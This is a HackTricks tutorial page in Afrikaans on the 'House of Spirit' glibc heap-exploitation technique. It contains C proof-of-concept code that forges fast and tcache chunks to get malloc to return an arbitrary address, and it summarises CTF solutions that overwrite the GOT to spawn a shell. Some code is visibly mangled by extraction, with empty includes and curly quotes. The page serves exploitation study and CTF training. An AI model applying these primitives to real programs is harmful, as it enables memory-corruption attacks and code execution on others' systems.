House of Spirit

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Kode

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### Doel

- Om 'n adres in die tcache / fast bin te kan plaas sodat dit later gealloceer kan word

### Vereistes

- Hierdie aanval vereis dat 'n aanvaller 'n paar fake fast chunks kan skep wat die korrekte size-waarde aandui, en daarna die eerste fake chunk kan free sodat dit in die bin beland.
- Met **tcache (glibc ≥2.26)** is die aanval selfs eenvoudiger: slegs een fake chunk is nodig (geen next-chunk size check word op die tcache-pad uitgevoer nie) solank die fake chunk 0x10-gebelyn is en sy size-veld in 'n geldige tcache bin val (0x20-0x410 op x64).

### Aanval

- Skep fake chunks wat veiligheidskontroles omseil: jy sal basies 2 fake chunks nodig hê wat op die korrekte posisies die korrekte sizes aandui
- Slaag op een of ander manier daarin om die eerste fake chunk te free sodat dit in die fast of tcache bin beland en dit daarna te allocate om daardie adres te oorskryf

**Die code van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is uitstekend om die aanval te verstaan.** Alhoewel hierdie skema uit die code dit redelik goed opsom:

<details>
<summary>Fake chunk indeling</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

Neem kennis dat dit nodig is om die tweede chunk te skep om sommige sanity checks te omseil.

Tcache house of spirit (glibc ≥2.26)

  • Op moderne glibc roep die tcache fast-path tcache_put voordat dit die volgende chunk size/prev_inuse valideer, sodat slegs die huidige fake chunk sane hoef te lyk.
  • Vereistes:
  • Fake chunk moet 16-byte aligned wees en nie gemerk as IS_MMAPPED/NON_MAIN_ARENA nie.
  • size moet tot ’n tcache bin behoort en die prev_inuse bit set insluit (size | 1).
  • Tcache vir daardie bin moet nie vol wees nie (default max 7 entries).
  • Minimal PoC (stack chunk):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking is nie ’n hindernis hier nie: die vorentoe-penner wat in tcache gestoor word, word outomaties gekodeer as fd = ptr ^ (heap_base >> 12) tydens free, so die aanvaller hoef die sleutel nie te ken nie wanneer ’n single fake chunk gebruik word.
  • Hierdie variant is handig wanneer glibc hooks verwyder is (≥2.34) en jy ’n vinnige arbitrary write wil hê of ’n target buffer (bv. stack/BSS) met ’n tcache chunk wil oorvleuel sonder om addisionele korrupsies te skep.

Voorbeelde

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Deur ’n overflow is dit moontlik om ’n pointer te verander sodat dit na ’n GOT-adres wys om ’n libc-adres te leak deur die read-aksie van die CTF

  • House of Spirit: Deur ’n counter wat die aantal “rifles” tel te misbruik, is dit moontlik om ’n fake size van die eerste fake chunk te genereer; deur ’n “message” te misbruik kan die tweede size van ’n chunk gefake word, en uiteindelik deur ’n overflow te misbruik is dit moontlik om ’n pointer wat vrygestel gaan word te verander sodat ons eerste fake chunk vrygestel word. Daarna kan ons dit allocate en binne-in sal die adres wees waar die “message” gestoor is. Dan is dit moontlik om dit na die scanf entry binne die GOT-tabel te laat wys, sodat ons dit kan oorskryf met die adres na system.
    Volgende keer wanneer scanf aangeroep word, kan ons die invoer "/bin/sh" stuur en ’n shell kry.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Ongeïnitialiseerde stack buffer.

  • House of Spirit: Ons kan die eerste indeks van ’n globale array van heap pointers wysig. Met ’n single byte-wysiging gebruik ons free op ’n fake chunk binne ’n geldige chunk, sodat ons ’n overlapping chunks-situasie kry nadat ons weer allocate. Daarmee werk ’n eenvoudige Tcache poisoning attack om ’n arbitrary write primitive te kry.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks